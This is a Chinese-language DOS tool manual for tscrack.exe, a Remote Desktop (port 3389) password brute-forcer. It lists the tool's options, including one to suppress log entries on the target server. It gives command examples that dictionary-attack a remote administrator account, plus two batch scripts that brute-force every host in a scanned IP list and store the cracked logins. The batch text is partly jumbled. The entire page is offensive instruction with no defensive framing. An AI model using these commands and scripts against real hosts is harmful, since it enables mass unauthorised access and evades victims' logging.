树叶云DOS手册：终端服务密码破解: tscrack.exe

参数说明 

-h 显示使用帮助 

-v 显示版本信息 

-s 在屏幕上打出解密能力 

-b 密码错误时发出的声音 

-t 同是发出多个连接（多线程） 

-N Prevent System Log entries on targeted server 

-U 卸载移除tscrack组件 

-f 使用－f后面的密码 

-F 间隔时间（频率） 

-l 使用－l后面的用户名 

-w 使用－w后面的密码字典 

-p 使用－p后面的密码 

-D 登录主页面 

用法示例 

tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码 

tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户 

@if not exist ipcscan.txt goto noscan 

@for /f “tokens=1 delims= ” %%i in (3389.txt) do call hack.bat %%i 

nscan 

@echo 3389.txt no find or scan faild 

(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) 

3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat 

@if not exist tscrack.exe goto noscan 

@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt 

:noscan 

@echo tscrack.exe no find or scan faild 

(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) 

hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码，并将破解结果保存在rouji.txt文件中。